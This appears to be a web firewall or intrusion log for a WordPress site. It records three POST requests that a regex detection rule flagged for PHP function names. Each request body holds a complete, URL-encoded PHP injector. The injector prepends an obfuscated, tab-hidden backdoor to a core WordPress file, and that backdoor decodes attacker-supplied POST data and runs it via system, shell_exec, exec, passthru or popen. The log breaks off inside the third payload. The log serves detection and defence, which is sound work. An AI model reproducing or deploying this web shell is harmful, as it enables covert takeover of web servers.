["2026-05-12 19:43:42","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrapvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:5255\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nzw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:43:45","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> OI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:5255\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nOI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:43:49","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:5255\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\npV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%2